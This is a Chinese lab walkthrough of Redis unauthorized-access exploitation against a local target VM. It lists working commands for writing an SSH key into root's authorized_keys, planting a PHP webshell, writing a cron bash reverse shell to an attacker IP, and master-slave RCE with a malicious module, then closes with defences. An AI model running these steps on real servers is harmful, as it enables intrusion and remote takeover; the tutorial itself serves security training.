打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Redis未授权访问漏洞利用方式
userphoto

2023.07.03 广东

关注
实验环境
靶机             192.168.233.130
Kali攻击机  192.168.233.137
实验原理
redis绑定在0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。Redis服务没有设置密码认证(此时为空)或者设置弱口令密码,导致攻击者可以远程登录redis服务并进行相关的攻击行为。
漏洞利用条件
  • Redis服务直接暴露在公网上,允许任意用户访问
  • 未开启防火墙或设置安全的防火墙策略
  • Redis服务未设置密码,或者设置的密码为弱口令
  • 以管理员权限运行redis服务
靶场搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz #下载redis-2.8.17版本tar xzvf redis-2.8.17.tar.gz #解压安装包cd redis-2.8.17 # 进入redis目录make #编译

报错如下

make test #检测之前进行的make编译步骤中遗漏的错误,确保服务的编译正常

进入src目录下
./redis-server #开启redis服务

成功启动如下图

实验过程
以下操作无特别说明均为攻击机操作
nmap -sP 192.168.233.0/24 #利用nmap探测存活主机

nmap -sV 192.168.233.130 -p 1-65535 #探测靶机开放端口

redis-cli -h 192.168.233.130 #利用redis-cli远程连接工具对靶机redis服务进行无密码连接Info #查看关于Redis服务器的各种信息和统计数值



redis写入公钥利用私钥登录ssh
如果Redis服务以root身份运行,可以在/root/.ssh/authorized_keys文件中写入SSH公钥,再使用对应私钥登陆靶机即可。
利用条件
  • Redis服务使用ROOT权限运行
  • 安全模式protected-mode处于关闭状态
  • 靶机开放了SSH服务且允许使用密钥登录
ssh-keygen -t rsa#在攻击机中生成ssh公钥和私钥文件,密码为空

进入/root/.ssh目录,已经生成了id_rsa,id_rsa.pub两个文件
(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt #将生成的公钥保存到1.txt
cat 1.txt | redis-cli -h 192.168.233.130 -x set crack #写入1.txt文件,对应的键名为crack,键值为1.txt中的内容

键名可以是其他字符串,不一定需要写成crack

config set dir /root/.ssh/ #用于将Redis数据库备份文件的存放目录修改为/root/.ssh/

报错为(error) ERR Changing directory: No such file or directory
这是因为root账户从来没有登录过,在靶机上执行ssh localhost 即可

config set dbfilename authorized_keys#设置上传公钥的备份文件名字为authorized_keysconfig get dbfilename#获取数据库文件名(注意是get)

Save#保存

ssh -i id_rsa root@192.168.233.130#在攻击机使用ssh免密登录靶机

报错如上。骗你的,已经连接成功了
(两台攻击机和靶机都是kali,并且使用了finalshell进行操作,所以看起来不明显,但是可以看到攻击机执行连接命令时的目录是.ssh,而连接成功后当前目录已经变化)

IP地址已经是靶机的地址
使用exit命令断开ssh连接



已知绝对路径写入webshell
如果目标服务器开启了redis服务和web服务,知道web服务器的绝对路径并且具备向该目录下写入文件的权限,就可以通过写入webshell来getshell
利用条件
  • 靶机开启redis服务和web服务
  • 知道web服务器的绝对路径
  • 具备写入目标目录文件的权限
config set dir /var/www/html/ #设置路径为/var/www/html/config set dbfilename shell.php #设置文件名shell.php

set shell '\r\n\r\n\r\n\r\n' #用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行,另外shell可以为任意字符串save #保存

在靶机上查看shell.php,由于此实验前写入了公钥,所以会掺入相关信息

python3 -m http.server #利用Python启动http服务

利用攻击机直接访问shell.php会询问是否下载

攻击机的请求会被http服务器记录



利用计划任务写入反弹shell
向靶机的计划任务目录下写入反弹shell,原理类似于上个实验直接写入webshell,但是区别在于这是反向shell,并且不依赖于web服务
利用条件
  • 知道靶机的计划任务目录路径
  • 具备写入目标目录文件的权限
  • 目标系统是Centos上可用,Ubuntu上有限制(理由如下)
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错3.两个系统的定时任务文件目录不同
nc -nvlp 6666 #在攻击机上开启监听

config set dir /var/spool/cron #设置路径set x '\n* * * * * bash -i >& /dev/tcp/192.168.233.137/6666 0>&1\n'#开启一个交互式的shell,将标准输出利用TCP连接发送给远程主机(另外x可以为任意字符串)config set dbfilename root #设置文件名为rootsave#保存

成功写入
在靶机中查看root文件

由于靶场搭建在kali上,反弹shell死活过不来,所以借用一下别人的实验图片如下图

反弹shell成功。如上,攻击机IP为192.168.241.128,靶机IP为192.168.241.129


利用主从复制RCE
主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
利用条件
  • 4.x <= Redis <= 5.0.5
  • 空口令或弱口令登录redis服务
利用主场复制RCE容易导致redis服务瘫痪,应该避免使用及做好权限维持

由于此实验需要redis版本为4.x~5.0.5,所以使用vulhub靶场中的4-unacc环境进行
docker-compose up -d #开启环境

手动命令比较繁琐,在这里利用脚本进行实验
脚本地址
https://github.com/Ridter/redis-rce
还需要一个so文件地址如下
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
两个文件都下载解压后,将RedisModules-ExecuteCommand的src目录下的module.so移动到redis-rce-master/redis-rce.py所在目录下,然后切换目录至redis-rce.py所在目录(或者在RedisModules-ExecuteCommand目录下使用命令make进行编译亦可)

python3 redis-rce.py -r 192.168.233.130 -p 6379 -L 192.168.233.137 -f module.so #执行脚本(-p为本机端口)

脚本运行中

脚本利用成功,选项i获取一个交互shell,选项r反弹shell,选项e退出
输入r进行反弹shell,然后输入攻击机ip及监听的端口即可

权限为redis
输入选项i获得一个交互shell,应该也是redis权限,不过感觉有点奇怪

获取反弹shell会有写入文件的操作,获取反弹shell后如果再重新运行脚本获取交互shell会失败,当然,反弹shell在停止脚本后也不会中断


防范措施
  • 避免redis服务暴露在公网上或者设置IP白名单访问
  • 开启防火墙并设置安全的防火墙策略
  • 更改redis默认端口
  • 设置redis服务登录强密码
  • 禁止非管理员权限用户添加新的公钥,将authorized_keys文件的权限设置为对拥有者只读
  • 在redis服务中禁用高危命令或者将其重命名
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Redis未授权访问漏洞复现与GETSHELL利用方法汇总(含靶场搭建)
『渗透测试』常见未授权访问总结
【HTB系列】靶机Vault的渗透测试详解
运维人员的解放----Docker快速部署
CPU被挖矿,Redis竟是内鬼!
震惊,我被Redis入侵了
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服